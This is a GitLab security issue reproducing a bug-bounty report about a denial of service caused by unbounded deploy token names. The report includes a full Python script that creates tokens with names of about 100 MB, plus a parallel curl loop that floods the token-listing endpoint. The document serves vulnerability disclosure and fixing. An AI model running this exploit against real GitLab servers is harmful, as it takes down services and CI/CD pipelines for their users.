Skip to content

GitLab Deploy Token Name Overflow: Unbounded Input Enables DoS Attack

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #3049089 by pwnie on 2025-03-20, assigned to GitLab Team:

Report | How To Reproduce

Report

Summary

GitLab’s deploy token creation API lacks a size limit on the deploy token name. This lets an attacker generate tokens with massive names, overwhelming the server when listing tokens and causing a Denial-of-Service (DoS).


Steps to Reproduce

  1. Generate Inflated Deploy Token Names
    Run the Python script below. It creates a deploy token with a name generated from a large amount of random data (e.g., 100 MB). The script supports both project and group tokens.

    #!/usr/bin/env python3
    
    import argparse  
    import requests  
    import json  
    import sys  
    import os  
    import base64  
    import re
    
    def create_deploy_token(args):  
        """Create a deploy token for a GitLab project or group."""  
          
        # Generate the deploy token name:  
        # 1. Generate n MB of random bytes.  
        # 2. Base64-encode them.  
        # 3. Strip out non-alphanumeric characters.  
        n_bytes = int(args.mb * 1024 * 1024)  
        random_bytes = os.urandom(n_bytes)  
        encoded = base64.b64encode(random_bytes).decode('ascii')  
        name_str = re.sub(r'[^a-zA-Z0-9]', '', encoded)  
          
        # Determine if creating for a project or group  
        if args.group_id:  
            endpoint = f"{args.url}/api/v4/groups/{args.group_id}/deploy_tokens"  
            id_type = "group"  
            id_value = args.group_id  
        else:  
            endpoint = f"{args.url}/api/v4/projects/{args.project_id}/deploy_tokens"  
            id_type = "project"  
            id_value = args.project_id  
          
        # Prepare request headers  
        headers = {  
            "PRIVATE-TOKEN": args.token,  
            "Content-Type": "application/json"  
        }  
          
        # Prepare request data with generated name and provided scopes  
        data = {  
            "name": name_str,  
            "scopes": args.scopes  
        }  
          
        # Add optional parameters if provided  
        if args.expires_at:  
            data["expires_at"] = args.expires_at  
        if args.username:  
            data["username"] = args.username  
          
        # Make the API request  
        try:  
            response = requests.post(endpoint, headers=headers, data=json.dumps(data))  
              
            # Check if the request was successful  
            if response.status_code in (200, 201):  
                result = response.json()  
                print(f"Deploy token created successfully for {id_type} {id_value}!")  
                print(f"Token: {result['token']}")  
                print(f"Username: {result['username']}")  
                print(f"Expires at: {result.get('expires_at', 'Never')}")  
                return 0  
            else:  
                print(f"Error creating deploy token. Status code: {response.status_code}")  
                print(f"Response: {response.text}")  
                return 1  
              
        except requests.exceptions.RequestException as e:  
            print(f"Error creating deploy token: {e}")  
            if hasattr(e, 'response') and e.response is not None:  
                print(f"Response: {e.response.text}")  
            return 1
    
    def main():  
        parser = argparse.ArgumentParser(  
            description="Create a GitLab deploy token via API",  
            epilog="""Example:  
    python gitlab_deploy_token.py --url https://gitlab.example.com --token your_access_token --mb 100 --project-id 123 --scopes read_repository read_registry --expires-at 2023-12-31  
            """  
        )  
          
        # Required parameters  
        parser.add_argument("--url", required=True, help="GitLab instance URL (e.g., https://gitlab.com)")  
        parser.add_argument("--token", required=True, help="Your GitLab private token")  
        parser.add_argument("--mb", required=True, type=float,  
                            help="Size in MB for generating the deploy token name from base64 data")  
          
        # Project or group ID (one must be provided)  
        group = parser.add_mutually_exclusive_group(required=True)  
        group.add_argument("--project-id", help="ID or URL-encoded path of the project")  
        group.add_argument("--group-id", help="ID or URL-encoded path of the group")  
          
        # Scopes (at least one must be provided)  
        parser.add_argument("--scopes", required=True, nargs="+",   
                            choices=["read_repository", "read_registry", "write_registry",   
                                     "read_package_registry", "write_package_registry"],  
                            help="Scopes for the deploy token (at least one required)")  
          
        # Optional parameters  
        parser.add_argument("--expires-at", help="Expiration date for the token (ISO 8601 format: YYYY-MM-DD)")  
        parser.add_argument("--username", help="Username for the deploy token")  
          
        args = parser.parse_args()  
          
        return create_deploy_token(args)
    
    if __name__ == "__main__":  
        sys.exit(main())  
  2. Create Multiple Tokens
    Run the script several times (e.g., 10 times) with a high MB value (e.g., 100 MB) to generate deploy tokens with enormous names.

  3. Trigger the DoS
    Load the deploy tokens listing endpoint to process the oversized names. For example:

    seq 100 | xargs -P 20 -I {} curl "http://localhost/api/v4/projects/1/deploy_tokens" --H 'PRIVATE-TOKEN: <YOUR_PRIVATE_TOKEN>'  

Impact

  • Denial-of-Service (DoS):
    Inflated deploy token names force the server to handle massive amounts of data, leading to resource exhaustion and potential DoS.

  • Service Disruption:
    In production, this vulnerability could block access to deploy token listings, disrupting CI/CD pipelines and administrative operations.

Impact

  • Denial-of-Service (DoS):
    Inflated deploy token names force the server to handle massive amounts of data, leading to resource exhaustion and potential DoS.

  • Service Disruption:
    In production, this vulnerability could block access to deploy token listings, disrupting CI/CD pipelines and administrative operations.

How To Reproduce

Please add reproducibility information to this section: